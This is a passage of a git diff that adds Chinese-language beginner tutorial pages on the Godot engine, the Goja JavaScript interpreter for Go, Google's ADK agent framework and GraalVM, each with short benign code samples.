+- 为什么游戏逻辑推荐**信号驱动**而非到处 `get_node()`——松耦合让改 UI 布局时不必重写半个项目
+- 为什么 Godot 4 用 **Vulkan** 做 3D、独立 **2D 渲染器**——2D 用真实像素坐标，不和 3D 管线硬绑
+
+## 核心要点
+
+### 1. 节点（Node）——最小积木
+
+节点是 Godot 里最小的功能单元。每个节点只做一件事：`Sprite2D` 显示图片，`AudioStreamPlayer` 播放声音，`CollisionShape2D` 定义碰撞形状。节点按父子关系组成**树**：子节点继承父节点的变换（位置、旋转、缩放）。
+
+典型 2D 角色场景结构：
+
+```
+Player (CharacterBody2D)     ← 根节点，负责移动与物理
+├── Sprite2D                 ← 显示角色贴图
+├── CollisionShape2D         ← 碰撞体积
+└── Camera2D                 ← 跟随玩家的镜头（也可放在关卡里）
+```
+
+### 2. 场景（Scene）——可复用的蓝图
+
+把一棵节点树保存下来，就得到一个场景文件（`.tscn`）。场景既是「关卡」，也是「预制件」：玩家、敌人、子弹、主菜单都可以是独立场景。在编辑器里把 `Enemy.tscn` 拖进 `Level.tscn`，会生成一个**实例**——改蓝图会影响所有实例，但每个实例也能单独改属性。
+
+### 3. 场景树（Scene Tree）——运行时的整棵世界
+
+游戏启动时，Godot 加载**主场景（Main Scene）**，把它挂到根 `Viewport` 下，整棵树的节点进入「激活」状态，开始接收 `_process`、绘制、输入和物理。`get_tree()` 可以暂停游戏、切换场景、按组（Group）批量找节点。
+
+### 4. 信号（Signal）——事件广播
+
+节点在特定事件发生时**发射信号**（如按钮 `pressed`、角色 `died`）。其他节点**连接**到这个信号，绑定回调函数，无需硬编码引用路径。类比：不是挨家敲门通知，而是在小区群里发一条「Boss 已击败」，谁订阅了谁就响应。
+
+### 5. 资源（Resource）——可序列化的数据块
+
+Resource 是 Godot 里**不挂在场景树上、但可以保存到磁盘**的数据对象：贴图（`Texture2D`）、音频（`AudioStream`）、自定义角色属性表都可以是 Resource。类比：节点是「舞台上的演员」，Resource 是「演员档案卡」——多张卡可以分给多个演员，改档案会影响所有引用它的对象。
+
+自定义 Resource 可在编辑器里当资产拖拽使用：
+
+```gdscript
+# stats.gd — 新建 Resource，保存为 stats.tres
+class_name CharacterStats
+extends Resource
+
+@export var max_hp: int = 100
+@export var attack: int = 10
+```
+
+在 Player 节点的检查器里把 `stats.tres` 拖给 `@export var stats: CharacterStats`，策划调数值不用碰代码。Resource 也适合替代「全局 Autoload 里堆一堆变量」——数据可版本管理、可复用、静态类型友好。
+
+### 6. GDScript——为游戏定制的脚本语言
+
+GDScript 语法接近 Python，但为 Godot 节点生命周期设计。脚本以 `extends SomeNode` 开头，表示「挂在这个节点类型上」。Godot 4 起支持可选静态类型（`: float`、`-> void`），编辑器补全和报错更准。常用生命周期：
+
+| 回调 | 何时调用 |
+|------|----------|
+| `_ready()` | 节点进入场景树，且子节点都 ready 之后（只一次） |
+| `_process(delta)` | 每帧调用，`delta` 是秒数，用于帧率无关移动 |
+| `_physics_process(delta)` | 固定物理帧率，移动角色时应优先用它 |
+| `_input(event)` | 有输入事件时 |
+
+## 实践案例
+
+### 案例 1：键盘控制 2D 角色移动
+
+下面脚本挂在 `CharacterBody2D` 根节点上，用方向键移动，并处理与墙壁的碰撞（引擎内置 `move_and_slide`）。
+
+```gdscript
+# player.gd — 挂在 Player (CharacterBody2D) 上
+extends CharacterBody2D
+
+@export var speed: float = 300.0   # 在检查器里可调的速度（像素/秒）
+
+func _physics_process(delta: float) -> void:
+    var direction := Vector2.ZERO
+    if Input.is_action_pressed("ui_right"):
+        direction.x += 1
+    if Input.is_action_pressed("ui_left"):
+        direction.x -= 1
+    if Input.is_action_pressed("ui_down"):
+        direction.y += 1
+    if Input.is_action_pressed("ui_up"):
+        direction.y -= 1
+
+    if direction != Vector2.ZERO:
+        direction = direction.normalized()   # 斜向移动不加速
+
+    velocity = direction * speed
+    move_and_slide()   # 自动滑墙、处理碰撞
+```
+
+**逐部分解释**：
+
+- `@export`：把变量暴露到编辑器「检查器」，策划不用改代码就能调速度。
+- `_physics_process`：与物理引擎同步，比 `_process` 更适合角色位移。
+- `move_and_slide()`：`CharacterBody2D` 专用 API，碰墙时沿切线滑动，避免卡进墙角。
+- `ui_*` 是 Godot 内置输入动作，可在「项目 → 项目设置 → 输入映射」里改成 WASD。
+
+### 案例 2：用信号解耦——按钮开始游戏
+
+主菜单里有一个 `Button`，游戏管理器在别处监听「开始」事件，两边互不 `get_node` 硬连。
+
+```gdscript
+# main_menu.gd — 挂在 MainMenu (Control) 根节点
+extends Control
+
+signal start_game_requested   # 自定义信号：有人点了开始
+
+func _ready() -> void:
+    $StartButton.pressed.connect(_on_start_pressed)
+
+func _on_start_pressed() -> void:
+    start_game_requested.emit()
+```
+
+```gdscript
+# game_manager.gd — 挂在自动加载（Autoload）单例上
+extends Node
+
+func _ready() -> void:
+    var menu := get_tree().get_first_node_in_group("main_menu")
+    if menu:
+        menu.start_game_requested.connect(_on_start_game)
+
+func _on_start_game() -> void:
+    get_tree().change_scene_to_file("res://scenes/level_01.tscn")
+```
+
+**逐部分解释**：
+
+- `signal` / `emit()`：菜单只负责「广播意图」，不关心关卡怎么加载。
+- `pressed.connect(...)`：Godot 4 推荐用 `connect` 绑定 Callable，类型更安全。
+- `change_scene_to_file`：整场景切换是 Godot 换关卡的常规方式；旧场景节点会 `_exit_tree` 并释放（除非 `queue_free` 前被引用）。
+- 把 `GameManager` 设为 **Autoload** 后，全局存在一份，任何场景都能访问。
+
+### 案例 3：检测敌人进入区域（内置信号）
+
+`Area2D` 节点在其它物体进入/离开时自动发信号，适合制作伤害区、拾取物、触发剧情。
+
+```gdscript
+# hazard_zone.gd — 挂在 Area2D 上
+extends Area2D
+
+func _ready() -> void:
+    body_entered.connect(_on_body_entered)
+
+func _on_body_entered(body: Node2D) -> void:
+    if body.is_in_group("player"):
+        body.take_damage(10)   # 假设 Player 脚本实现了 take_damage
+```
+
+在玩家节点上勾选「节点 → 组 → 添加 `player`」，无需记住节点路径，用组名解耦。
+
+## 编辑器工作流速览
+
+1. **新建项目**：选 2D / 3D / 移动模板，渲染器默认 Forward+（3D）。
+2. **建场景**：场景面板点「+」选根节点类型，保存为 `player.tscn`。
+3. **挂脚本**：选中节点 → 附加脚本 → 选 GDScript → 生成 `player.gd`。
+4. **设主场景**：项目 → 项目设置 → 应用 → 主场景，选你的入口 `.tscn`。
+5. **运行**：F5 运行项目，F6 只运行当前编辑的场景（快速测单个预制件）。
+6. **导出**：项目 → 导出，添加目标平台，一次性打 Windows/macOS/Android 等包。
+
+资源路径以 `res://` 开头，表示项目根目录；运行时不要用绝对磁盘路径。
+
+## 踩过的坑
+
+1. **在 `_ready` 之前用 `@onready` 以外的节点引用**：子节点可能还没进树。用 `@onready var sprite = $Sprite2D` 或把逻辑放到 `_ready` 里。
+2. **每帧 `get_node("../../Player")`**：改场景层级就全断。改用信号、组（`add_to_group`）、或 Autoload 单例。
+3. **在 `_process` 里写物理移动**：和 `CharacterBody2D` 的碰撞不同步，会穿墙或抖动。角色移动放 `_physics_process`。
+4. **忘记设主场景**：F5 报错或黑屏。每个可运行项目必须有且仅有一个主场景。
+5. **2D 坐标原点在左上角**：和数学课笛卡尔坐标（y 向上）相反；向下移动应**增加** `position.y`。
+
+## 适用 vs 不适用场景
+
+**适用**：
+
+- 2D 独立游戏、像素风、视觉小说、塔防——专用 2D 引擎体验顺滑
+- 中小型 3D 项目、原型验证——Godot 4 的 3D 已可商业，但超大开放世界仍要权衡
+- 教育、Game Jam、个人作品集——安装小、启动快、无版权焦虑
+- 需要**完全掌控源码**的团队——C++ 核心可 fork，GDExtension 可接 Rust/C++
+- 多平台一次开发——同一项目导出桌面与移动端
+
+**不适用**：
+
+- 超大规模 3A 开放世界——工具链与中间件生态仍弱于 Unreal
+- 团队已深度绑定 Unity 资产管线——迁移成本需单独评估
+- 重度依赖特定主机 SDK 的独占功能——任天堂等需官方/port 中间件支持，Godot 社区有方案但非「开箱即用」
+- 纯 Web 小游戏、广告变现极轻量——Godot Web 导出体积偏大，有时 Phaser 更轻
+
+## 历史小故事（可跳过）
+
+- **2007 年**：阿根廷开发者 Juan Linietsky 与 Ariel Manzur 开始内部项目，目标是用统一编辑器做 2D 游戏，摆脱当时商业引擎授权束缚。
+- **2014 年**：Godot 1.0 开源发布，MIT 协议，社区开始形成插件与教程生态。
+- **2016–2021 年**：Godot 3.x 成熟期，GLES2/3 渲染、可视化脚本、C# 支持，成为 indie 首选之一。
+- **2022 年**：Godot 4.0 重大版本——Vulkan 3D、新 TileMap、GDScript 2.0 静态类型、改进的光照与导航。
+- **2024–2026 年**：4.x 持续迭代（4.2+ 稳定 C#、4.7 在测），Steam 上 Godot 作品数量持续增长，与 Unity 授权风波后更多团队评估迁移。
+
+## 学到什么
+
+1. **场景 + 节点树是 Godot 的中心隐喻**：不是「先写 main 再堆类」，而是「先拼场景再挂行为」，和编辑器思维一致，降低设计与代码的裂缝。
+2. **信号是默认的松耦合机制**：比单例到处拉引用更可维护；习惯「发射事件」而非「找到谁」。
+3. **`delta` / 物理帧与渲染帧分离**：`_physics_process` + `move_and_slide` 是 2D 平台游戏的标准组合，理解后能套到大部分动作游戏。
+4. **开源一体引擎降低「从 0 到可玩」的门槛**：和 LÖVE、raylib 比，Godot 多编辑器；和 Unity/Unreal 比，Godot 更轻、更透明，适合零基础建立完整游戏工程观。
+5. **Resource 与 Autoload 分工**：持久化配置、角色模板用 Resource；跨场景流程（切关、全局音效）用 Autoload——避免把所有东西都塞进单例。
+
+## 延伸阅读
+
+- 官方文档：[Godot 4 文档（中文）](https://docs.godotengine.org/zh-cn/4.x/getting_started/introduction/index.html)
+- 核心概念：[Overview of Godot's key concepts](https://docs.godotengine.org/en/stable/getting_started/introduction/key_concepts_overview.html)
+- 视频：[GDQuest — Learn 2D Game Dev with Godot 4](https://www.gdquest.com/)（免费章节质量极高）
+- 资产库：[Godot Asset Library](https://godotengine.org/asset-library/asset)
+- 社区：[Godot Forum](https://forum.godotengine.org/) / [r/godot](https://www.reddit.com/r/godot/)
+
+## 关联
+
+- [[love2d]] —— 同为轻量 2D 路线，LÖVE 无编辑器纯代码，Godot 全功能场景树
+- [[minetest]] —— 同为开源游戏平台，Luanti 专注体素沙盒，Godot 通用 2D/3D
+- [[raylib]] —— 极简 C API 游戏库，适合学底层；Godot 适合完整产品级迭代
+- [[phaser]] —— 浏览器 2D 引擎，与 Godot 2D 节点思维有相似处
+- [[playcanvas]] —— 另一开源/Web 友好引擎，对比可理解不同场景树设计
+
+## 反向链接
+
+<!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
+
+- [[assimp]] —— Assimp — Open Asset Import Library 统一 3D 模型导入
+- [[blender]] —— Blender — 全流程 3D 创作套件
+- [[cocos2d-x]] —— Cocos2d-x — 一份 C++ 代码把 2D 手游跑遍 iOS / Android
+- [[defold]] —— Defold — King 出品 Lua 引擎，移动优先 + 一键跨平台打包
+- [[inkscape]] —— Inkscape — 矢量图形编辑器
+- [[krita]] —— Krita — 数字绘画专业编辑器
+- [[love2d]] —— LÖVE — Lua 2D 游戏框架
+- [[minetest]] —— Luanti / Minetest — 给自己造一个开源体素游戏引擎
+- [[phaser]] —— Phaser — 在浏览器里写 2D 游戏的完整工具箱
+- [[playcanvas]] —— PlayCanvas — 浏览器里跑的 3D 游戏引擎
+- [[raylib]] —— raylib — 极简 C 游戏库，10 行代码跑起带窗口动画
+
diff --git a/src/content/docs/projects/goja.md b/src/content/docs/projects/goja.md
new file mode 100644
index 000000000..3478d3887
--- /dev/null
+++ b/src/content/docs/projects/goja.md
@@ -0,0 +1,231 @@
+---
+title: Goja — 纯 Go 写的 ES5.1 JavaScript 解释器
+来源: https://github.com/dop251/goja
+日期: 2026-06-13
+分类: 编译器
+子分类: 语言运行时
+provenance: pipeline-v3
+---
+
+# Goja：在 Go 里跑 JavaScript
+
+## 一个日常类比
+
+想象一下：Go 是你家厨房的主厨，JavaScript 是一份从国外寄来的菜谱。
+
+通常有两种做法：
+1. 找一台真正的国外烤箱（V8 引擎），把 Go 代码连到那台烤箱上——这要经过复杂的"翻译设备"（cgo），安装也麻烦。
+2. 完全自己从零搭建一套烤箱——这就是 Goja 做的事：它用 Go 语言自己写了一个能看懂 JavaScript 的引擎，不需要任何外部依赖。
+
+Goja 就是第二种做法：一个纯 Go 实现的 JavaScript 引擎，不需要 cgo，不需要编译 V8，一个 `go get` 就能用。
+
+---
+
+## 核心概念
+
+### 1. Runtime（运行时）
+
+Runtime 是 Goja 的心脏。它包含了一个完整的 JavaScript 执行环境：变量存储、函数定义、对象、甚至内置的 `Math`、`JSON` 等对象。
+
+你可以把它想象成一个独立的 JavaScript 世界。每个 Runtime 实例是彼此隔离的——一个 Runtime 里的变量，另一个 Runtime 看不见。
+
+> **重要限制**：一个 Runtime 同一时间只能被一个 goroutine 使用。不能多个 goroutine 共享同一个 Runtime。如果需要并发，就创建多个 Runtime 实例。
+
+### 2. Value（值）
+
+JavaScript 里的每个值（数字、字符串、对象、函数……）在 Goja 中都被包装成一个 `Value` 类型。它不是一个普通的 Go 类型，而是 JavaScript 值和 Go 类型之间的桥梁。
+
+从 JS 到 Go：用 `v.Export()`
+从 Go 到 JS：用 `runtime.ToValue()`
+
+### 3. 双向调用
+
+Goja 最强大的能力是**让 Go 和 JavaScript 互相调用**：
+
+- 在 Go 代码里写 JavaScript 代码并执行
+- 在 JavaScript 代码里调用 Go 函数
+- 在两者之间传递数据和对象
+
+这种"双向通道"是 Goja 最大的价值所在。
+
+---
+
+## 代码示例一：最简单的 hello world
+
+这是 Goja 的最基本用法——创建一个虚拟机，执行一段 JS 代码，拿到结果。
+
+```go
+package main
+
+import (
+	"fmt"
+	"log"
+
+	"github.com/dop251/goja"
+)
+
+func main() {
+	// 1. 创建一个新的 JavaScript 运行时（一个独立的 JS 世界）
+	vm := goja.New()
+
+	// 2. 执行一段 JavaScript 代码
+	v, err := vm.RunString("2 + 2")
+	if err != nil {
+		log.Fatal(err)
+	}
+
+	// 3. 把 JS 的值转回 Go 的类型
+	result := v.Export().(int64)
+	fmt.Printf("2 + 2 = %d\n", result)
+	// 输出: 2 + 2 = 4
+}
+```
+
+这一段的流程就是：
+
+| 步骤 | 做什么 | 核心 API |
+|------|--------|----------|
+| 1 | 创建 JS 运行时 | `goja.New()` |
+| 2 | 执行 JS 代码 | `vm.RunString("...")` |
+| 3 | 拿到 JS 的结果值 | `v.Export().(int64)` |
+
+---
+
+## 代码示例二：在 Go 和 JS 之间传数据
+
+这个例子展示了双向交互：把 Go 的数据传给 JS，让 JS 计算后再传回来，同时把 Go 函数注册到 JS 里让 JS 调用。
+
+```go
+package main
+
+import (
+	"fmt"
+	"log"
+
+	"github.com/dop251/goja"
+)
+
+func main() {
+	vm := goja.New()
+
+	// --- 第一部分：把 Go 的值传给 JS ---
+
+	// 在 JS 世界里创建一个变量 "message"，值是 Go 字符串 "hello from Go"
+	vm.Set("message", "hello from Go")
+
+	// 在 JS 里运行代码，使用刚才设置的变量
+	v, err := vm.RunString(`message + " — welcome to JavaScript!"`)
+	if err != nil {
+		log.Fatal(err)
+	}
+	fmt.Println(v.ToString().String())
+	// 输出: hello from Go — welcome to JavaScript!
+
+	// --- 第二部分：把 Go 函数注册给 JS 调用 ---
+
+	// 定义一个 Go 函数：接收一个整数，返回它的平方
+	vm.Set("square", func(call goja.FunctionCall) goja.Value {
+		num := call.Argument(0).ToInteger()
+		result := num * num
+		return vm.ToValue(result)
+	})
+
+	// 在 JS 里调用刚才注册的 Go 函数
+	v2, err := vm.RunString("square(7)")
+	if err != nil {
+		log.Fatal(err)
+	}
+	fmt.Printf("square(7) = %d\n", v2.ToInteger())
+	// 输出: square(7) = 49
+}
+```
+
+这段代码展示了三个关键 API：
+
+1. `vm.Set("key", value)`：把一个 Go 变量放到 JS 的世界里
+2. `vm.Set("funcName", goFunction)`：把一个 Go 函数注册成 JS 能调用的函数
+3. `call.Argument(0)`：在 Go 函数里读取 JS 传过来的第一个参数
+
+---
+
+## 为什么需要 Goja？
+
+### 与 V8 包装器对比
+
+| 场景 | 用 V8 包装器 | 用 Goja |
+|------|-------------|---------|
+| JS 做大量计算（如加密） | V8 更快 | Goja 慢一些 |
+| Go 频繁调用 JS 并传复杂数据 | cgo 开销很大 | 零 cgo，直接内存访问 |
+| 跨平台编译 | 需要为每个平台编译 V8 | 一个二进制文件搞定所有平台 |
+| 依赖管理 | 需要 CGO 和系统库 | 零外部依赖 |
+
+**一句话结论**：如果你的程序"主体是 Go，偶尔需要跑一下 JS"，Goja 通常比 V8 包装器更合适。
+
+### 典型用途
+
+- 在 Go 应用中嵌入配置脚本语言（用户写 JS 定制行为）
+- 服务端渲染或模板引擎的脚本层
+- 安全沙箱：在隔离的 JS 环境中执行不受信任的代码
+- 数据转换管道：用 JS 写灵活的转换逻辑，Go 做基础设施
+- 学习和研究 JavaScript 引擎内部原理
+
+---
+
+## Goja 的内部结构（简化版）
+
+了解 Goja 的代码结构，能帮助你理解它是怎么工作的：
+
+```
+goja/
+├── parser/        # 解析器：把 JS 源代码字符串变成抽象语法树（AST）
+├── ast/           # 抽象语法树的数据结构定义
+├── compiler.go    # 编译器：把 AST 编译成字节码
+├── runtime.go     # 运行时：执行字节码，管理变量和作用域
+├── builtin_*.go   # 内置对象：Math, Array, Object, String 等的实现
+├── object.go      # JavaScript 对象模型
+└── vm.go          # 虚拟机核心：执行字节码的引擎
+```
+
+整个流程是：
+
+```
+JS 源码字符串
+    ↓
+Parser（解析器）→ 抽象语法树 AST
+    ↓
+Compiler（编译器）→ 字节码
+    ↓
+VM（虚拟机）→ 执行字节码，操作 Runtime 中的值
+    ↓
+返回 Value（结果）
+```
+
+---
+
+## 重要注意事项
+
+1. **不支持 goroutine 共享**：一个 `*goja.Runtime` 只能被一个 goroutine 使用。需要并发时创建多个实例。
+
+2. **不支持 setTimeout/setInterval**：这两个函数不属于 ECMAScript 标准，而是浏览器和 Node.js 提供的。Goja 本身不包含它们（但有独立的 [goja_nodejs](https://github.com/dop251/goja_nodejs) 项目提供 Node.js 兼容性）。
+
+3. **性能定位**：它比 Go 生态中的其他脚本引擎快（比 otto 快 6-7 倍），但它不是 V8 或 SpiderMonkey 的替代品——它的定位是"嵌入到 Go 程序中的脚本引擎"，不是通用 JS 运行时。
+
+4. **ES 标准**：完整支持 ECMAScript 5.1，大部分 ES6 功能也在持续实现中。
+
+5. **异常处理**：JS 抛出的异常在 Go 侧以 `*goja.Exception` 类型返回，可以用 `err.(*Exception)` 类型断言来捕获。
+
+---
+
+## 总结
+
+Goja 做的事情本质上是：**用 Go 语言重新实现了一个 JavaScript 引擎**。
+
+它最核心的价值就是"双向通道"——让你在纯 Go 的环境中，无缝执行 JavaScript 代码，并且在这两种语言之间自由传递数据。对于需要嵌入脚本能力的 Go 应用来说，这是一个非常优雅的选择。
+
+---
+
+## 练习思考
+
+现在你已经了解了 Goja 的基本用法，思考一下：如果你的 Go 程序需要让用户"写脚本自定义行为"（比如数据转换规则），用 Goja 来执行用户写的 JavaScript 脚本，你觉得需要处理哪些安全方面的问题？
+
+想好了可以随时讨论，我会帮你分析。
diff --git a/src/content/docs/projects/google-adk.md b/src/content/docs/projects/google-adk.md
new file mode 100644
index 000000000..0b7fc69d2
--- /dev/null
+++ b/src/content/docs/projects/google-adk.md
@@ -0,0 +1,155 @@
+---
+title: Google ADK — Agent 开发套件
+来源: https://github.com/google/adk-python
+日期: 2026-06-13
+子分类: ai-agent-infra
+分类: 机器学习
+provenance: pipeline-v3
+---
+
+## 是什么
+
+Google ADK（Agent Development Kit）是 Google 开源的一套**用代码定义 AI Agent 的开发框架**。日常类比：假设你要雇一个助理（Agent），你只需要写一封"职位描述"——告诉他叫什么名字、用什么"大脑"（AI 模型）、做什么事（指令）、能用什么工具。ADK 就是帮你把这份"职位描述"变成真正能跑起来的程序。
+
+它跟 LangChain 有点像，但理念不同：LangChain 偏向"把所有东西串成管道"，ADK 更像"搭乐高"——一个 Agent 就是一个积木块，多个积木块拼成工作流（Workflow）或图（Graph）。
+
+ADK 2.0 是 2026 年初 GA 的重大版本，新增了图工作流引擎和 Agent 间任务委托 API。目前同时支持 Python、TypeScript、Go、Java、Kotlin 五种语言。
+
+## 为什么重要
+
+- GitHub 上 **20k+ stars**，是当前增长最快的 Agent 框架之一
+- Google 官方出品，与 Gemini 模型深度集成，企业场景下信任度更高
+- 2.0 版引入了**图工作流**——这不是简单的"顺序执行"，而是支持分支、循环、并行 fan-out/fan-in、人工审核（human-in-the-loop）的完整执行引擎
+- 支持**多 Agent 协作**——Agent 可以互相委托任务，形成团队
+- 一套 Agent 可以一键部署到 Google Cloud（Cloud Run、GKE）
+
+## 核心概念
+
+### 1. Agent（智能体）
+
+Agent 是 ADK 的最小可执行单元。定义一个 Agent 只需要三个东西：
+
+- **name**：Agent 的名字
+- **model**：用哪个 AI 模型当"大脑"
+- **instruction**：给它的工作说明（类似 system prompt）
+
+```python
+from google.adk import Agent
+
+researcher = Agent(
+    name="researcher",
+    model="gemini-2.5-flash",
+    instruction="You help users research topics thoroughly. Use web search when needed.",
+)
+```
+
+就这么几行代码，你就拥有了一个能跟用户对话、会用搜索工具的 Agent。
+
+### 2. Workflow（工作流）
+
+单个 Agent 能做的事情有限。当任务变复杂时，你需要让**多个 Agent 协同工作**——ADK 提供了两种模式：
+
+**模式 A：Workflow（Agent 链）**
+
+把一个 Agent 的输出传递给下一个 Agent，形成流水线。
+
+```python
+from google.adk import Agent, Workflow
+
+fruit_generator = Agent(
+    name="fruit_generator",
+    instruction="Return the name of a random fruit. Return only the name.",
+)
+
+benefit_writer = Agent(
+    name="benefit_writer",
+    instruction="Tell me one health benefit about the specified fruit.",
+)
+
+# START -> fruit_generator -> benefit_writer -> END
+pipeline = Workflow(
+    name="fruit_benefit_pipeline",
+    edges=[("START", fruit_generator, benefit_writer)],
+)
+```
+
+用户问一个话题时，fruit_generator 先生成一个水果名，然后传给 benefit_writer 写健康说明。两个 Agent 各司其职，这就是 Workflow。
+
+**模式 B：Graph（图）**
+
+ADK 2.0 新增的图工作流更强大——它不是简单的流水线，而是一个**有向图执行引擎**。你可以定义节点之间的路由、分支、循环、并行执行等复杂逻辑。适合需要"根据中间结果决定下一步怎么走"的场景。
+
+### 3. Tools（工具）
+
+Agent 本身只负责"思考"，真正动手干活靠的是工具。ADK 内置了 Google Search 等工具，你也可以自定义：
+
+```python
+from google.adk import Agent
+from google.adk.tools import google_search
+
+researcher = Agent(
+    name="researcher",
+    model="gemini-2.5-flash",
+    instruction="You help users research topics thoroughly.",
+    tools=[google_search],  # 把搜索工具交给 Agent 使用
+)
+```
+
+### 4. Session（会话）和 Memory（记忆）
+
+Agent 需要"记住"之前聊过什么。ADK 自动管理上下文：它会过滤无关内容、压缩旧对话、追踪 token 用量——不像有些框架只会把字符串越拼越长直到溢出。
+
+## 怎么跑起来
+
+安装很简单：
+
+```bash
+pip install google-adk
+```
+
+创建一个 Python 文件（比如 `my_agent.py`）：
+
+```python
+from google.adk import Agent
+
+greeting_agent = Agent(
+    name="greeting_agent",
+    model="gemini-2.5-flash",
+    instruction="You are a helpful assistant. Greet the user warmly.",
+)
+```
+
+然后两条命令即可运行：
+
+```bash
+# 交互式 CLI 模式（终端里直接对话）
+adk run my_agent
+
+# Web UI 模式（浏览器里可视化操作）
+adk web .
+```
+
+## 关键特性速览
+
+- **多语言**：Python（主力）、TypeScript、Go、Java、Kotlin —— 团队用什么语言就选哪个 SDK
+- **多模型**：内置 Gemini，也支持 Anthropic Claude、Ollama（本地模型）、vLLM 等
+- **部署**：本地 CLI / Web UI 调试，生产环境可一键部署到 Google Cloud Run 或 GKE
+- **可观测性**：内置日志、指标、追踪（Logging / Metrics / Traces）
+- **评估**：支持 Criteria 评估、用户模拟、环境模拟、自定义指标
+- **开源协议**：Apache 2.0
+
+## 跟同类框架对比
+
+| | LangChain | LangGraph | Semantic Kernel | Google ADK |
+|---|---|---|---|---|
+| 理念 | 管道编排 | 状态机 | .NET 优先 | 积木式 Agent + 图 |
+| 语言 | Python/JS | Python/JS | C#/Python/JS | Py/TS/Go/Java/Kotlin |
+| 图工作流 | 通过 LangGraph | 有 | 部分 | **2.0 原生支持** |
+| 多 Agent 协作 | 通过 LangGraph | 有 | 部分 | **Task API 原生支持** |
+| Google 生态集成 | 一般 | 一般 | 无 | **深度集成** |
+
+## 适合谁
+
+- **初学者**：几行代码就能跑起来一个 Agent，门槛很低
+- **企业团队**：多语言支持 + 企业级部署 + Google Cloud 原生集成
+- **想理解"Agent 到底是什么"的人**：ADK 把 Agent 拆得很干净——一个 Agent 就是一个定义，不会像某些框架那样一层套一层
diff --git a/src/content/docs/projects/graalvm.md b/src/content/docs/projects/graalvm.md
new file mode 100644
index 000000000..16dfbb836
--- /dev/null
+++ b/src/content/docs/projects/graalvm.md
@@ -0,0 +1,278 @@
+---
+title: GraalVM — 多语言通用 VM
+来源: https://github.com/oracle/graal
+日期: 2026-06-13
+分类: 编译器
+子分类: 语言运行时
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**GraalVM** 是 Oracle 开源的 **高性能 JDK 发行版 + 多语言运行时平台**，仓库 [oracle/graal](https://github.com/oracle/graal) 把三件事焊在同一套底座上：
+
+1. **兼容 OpenJDK 的 Java 运行时**（可替代 Temurin / Corretto 跑普通 Java）
+2. **Truffle 多语言引擎**（在同一进程里跑 JavaScript、Python、Ruby、WebAssembly、LLVM 位码等）
+3. **Native Image**（把 Java 乃至多语言程序 **ahead-of-time** 编译成无 JVM 依赖的原生可执行文件）
+
+日常类比：如果把 **OpenJDK HotSpot** 想象成一座**只服务 Java 乘客的火车站**——进站检票（类加载）、候车大厅（堆内存）、临时加开高铁（JIT）都是为 Java 设计的；那 **GraalVM** 更像 **国际机场 + 海关一体化枢纽**：
+
+- **Graal 编译器**是新的「高铁调度中心」，既能给 Java 字节码提速，也能给 Truffle 语言生成的中间表示提速；
+- **Truffle** 是标准化的「航空公司柜台协议」——每家航司（JS、Python、Ruby…）按同一套规则办登机，旅客（数据对象）**不用换机场就能转机**；
+- **Native Image** 是「把常用航线时刻表提前印成一本独立小册子」——启动时不再搭整个机场，拎册子就走，适合 Serverless、CLI、边缘容器。
+
+你已经在用的 **Quarkus Native**、**Micronaut Native**、**Spring Boot Native**，底层编译器栈往往就是 GraalVM Native Image；Kafka 3.8 的原生 Broker、Google Java Formatter 的单文件二进制，也是同一技术路线的产物。
+
+## 为什么重要
+
+不懂 GraalVM，下面这些现象很难讲清「为什么能这样」：
+
+- **为什么 Java 云原生框架能把冷启动从秒级压到几十毫秒**——Native Image 在构建期完成类初始化、反射配置、字节码 → 机器码，运行时没有 JVM 预热
+- **为什么能在 Java 里 `eval` Python 再无缝把结果当 Java 对象用**——Truffle 的 **Polyglot 互操作协议**让 guest 语言共享同一堆、同一 JIT 管线
+- **为什么 Native Image 构建要配一堆 `reflect-config.json`**——AOT 编译器在构建期必须「看见」所有可能用到的反射、资源、JNI
+- **为什么 GraalVM 既是 JDK 又是编译器项目**——Graal 编译器既可嵌入 HotSpot 作 JIT，也可在 Substrate VM 里作 AOT 后端
+
+## 核心概念
+
+### 1. 三层架构：JDK / Truffle / Native Image
+
+```
+┌─────────────────────────────────────────────────────────┐
+│  应用层：Java / Kotlin 主机 + Polyglot 嵌入 guest 语言    │
+├─────────────────────────────────────────────────────────┤
+│  Truffle 语言实现：GraalJS / GraalPy / TruffleRuby / …   │
+│  （自优化 AST + partial evaluation → Graal JIT）         │
+├─────────────────────────────────────────────────────────┤
+│  Graal 编译器：高级优化 IR，服务 Java 字节码 + Truffle IR │
+├─────────────────────────────────────────────────────────┤
+│  运行时底座：HotSpot JVM（JIT 模式）或 Substrate VM（AOT） │
+└─────────────────────────────────────────────────────────┘
+```
+
+| 组件 | 角色 | 类比 |
+|------|------|------|
+| **Graal Compiler** | 用 Java 写的优化编译器，替代或补充 HotSpot C2 | 新调度算法，能同时排 Java 高铁和 Truffle 城际线 |
+| **Truffle** | 用 Java 写 guest 语言解释器的框架 | 航司柜台标准协议 |
+| **Polyglot API** | `org.graalvm.polyglot` 嵌入与跨语言调用 | 海关过境免签 |
+| **Native Image** | `native-image` 工具 + Substrate VM | 预印时刻表，单机可执行 |
+| **Sulong** | LLVM 位码跑在 Truffle 上 | 货机码头，C/C++ 经 LLVM IR 入境 |
+
+理论细节见专题笔记 [[graalvm-truffle]]；本文聚焦 **GraalVM 作为产品/平台**怎么用、怎么选。
+
+### 2. GraalVM 作为 JDK
+
+安装 GraalVM for JDK（例如 21 或 25）后，`java` / `javac` 与标准 OpenJDK 用法一致：
+
+```bash
+java -version
+# openjdk version "25" ... GraalVM CE ...
+javac Hello.java && java Hello
+```
+
+在部分配置下，HotSpot 会用 **Graal 作为 JIT 编译器**（`-XX:+UseJVMCICompiler` 等），峰值性能与 C2 互有胜负，取决于工作负载。生产上更常见的卖点仍是 **Polyglot** 与 **Native Image**，而非替换普通 Java 服务器的 HotSpot。
+
+### 3. Polyglot：同一进程、同一堆
+
+Truffle 语言之间通过 **标准化互操作消息** 传值：Java 的 `Value`、JS 的 object、Python 的 `int` 在边界上自动适配，无需 JNI 序列化。主机语言通常是 Java，guest 语言通过 Maven 依赖按需引入：
+
+```xml
+<dependency>
+  <groupId>org.graalvm.polyglot</groupId>
+  <artifactId>polyglot</artifactId>
+  <version>${graalvm.polyglot.version}</version>
+</dependency>
+<dependency>
+  <groupId>org.graalvm.polyglot</groupId>
+  <artifactId>js</artifactId>
+  <version>${graalvm.polyglot.version}</version>
+</dependency>
+```
+
